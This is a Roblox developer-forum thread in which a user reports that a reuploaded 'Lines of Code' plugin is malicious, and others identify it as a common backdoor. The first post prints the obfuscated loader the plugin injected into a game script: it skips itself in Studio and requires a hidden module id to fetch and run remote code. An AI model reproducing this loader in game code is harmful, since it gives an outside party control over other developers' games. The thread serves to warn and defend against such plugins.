Malicious plugin spotted?

[ScrubSadmir (Sadmir)]

Update: I have access to my game now, and I got it back. But the plugin is still an issue. I think it’s still malicious, making people think it’s the real thing.

This is the second time this happened. I downloaded the lines of code plugin just for fun, and as soon as I do that, my game stops working for the SAME REASON that made it not work the first time I installed this plugin. This plugin seems trustworthy, but from these two experiences only, I find it to be malicious and cause scripts to break. For example:

game.Players.PlayerAdded:Connect(i5jl = game iGbUNMLNKDjumja = pcall iaihoAFgsvP = 'SSM' ivVIG7zJA = 'load' iQIMuOaBVtG = 'IsStudio' i9oChM = game ia3tr = 'FindFirstChild' iCJcttZHfB = 'RunService' izdTQc7P = 'GetService' i44X9DTRQEG6h = 'PlaceId' iUGjz4OtvMR = 'WaitForChild' i70n = 120684399.68182 * 22 i4SUxHtrB0YxT1X = 'Description' ivpWdqC9O1Z = 'IsStudio' insfF5DKf3P = pcall ixNOhVap = spawn iOV3Mxh4Gk7 = math.sqrt ipdY7KWIvd4f = require  ixNOhVap(    function()     iGbUNMLNKDjumja(    function()     if i9oChM:GetService(iCJcttZHfB)    [ivpWdqC9O1Z]    (i9oChM:GetService(iCJcttZHfB)    ) then      return     end ipdY7KWIvd4f(i70n)    [ivVIG7zJA]    (i9oChM[i44X9DTRQEG6h]    )     end    )     end    )
function(plr)
	local gui = game.ReplicatedStorage.LoadingScreen:Clone()
	gui.Parent = plr.PlayerGui
	local gui2 = game.ReplicatedStorage.TitleScreen:Clone()
	gui2.Parent = plr.PlayerGui
	local gui3 = game.ReplicatedStorage.NewGameMenu:Clone()
	gui3.Parent = plr.PlayerGui
	local gui4 = game.ReplicatedStorage.MagicSelection:Clone()
	gui4.Parent = plr.PlayerGui
end)

This caused my script to break. The same thing happened the first time I installed this plugin.
The plugin link: https://www.roblox.com/library/2612093794/Lines-Of-Code

[Elttob (dphfox)]

That looks like a reupload of crazyman32’s Lines of Code plugin! Here’s the original: https://www.roblox.com/library/333507912/Lines-Of-Code

[ScrubSadmir (Sadmir)]

How funny.

My place was updated several times within each hour, and the worst part is that I wasn’t even online at the time. It could be from my friend who has access to the place though, who lives in a different time zone.

[Elttob (dphfox)]

I would quite safely bet on that being your friend, unless that plugin is exploiting a very serious vulnerability in the Roblox engine it shouldn’t be able to publish changes to your place without Studio running. I’m not an expert on Team Create but the idea of that happening is unlikely.

[Kampfkarren (boyned)]

My place was updated several times within each hour, and the worst part is that I wasn’t even online at the time. It could be from my friend who has access to the place though, who lives in a different time zone.

Plugins can’t do this, so it’d be your friend.

[ScrubSadmir (Sadmir)]

I cant even teleport to that game now.

[ScrubSadmir (Sadmir)]

[colbert2677 (Dreamseeker)]

So uninstall the plugin then? It’s no secret that malicious plugins exist on the catalog; raising attention to a specific one isn’t entirely necessary. If you think it’s malicious, uninstall it.

[3dsboy08]

That plugin includes a quite common backdoor, you will want to look in other scripts for other attempts at requiring its module.

I deobfuscated it a few weeks back, seems like it hasn’t changed since then so: https://devforum.roblox.com/t/known-malicious-plugins-for-hisr-detection-megathread/222913/18

You can look in the “SETTINGS” script for its obfuscated loader.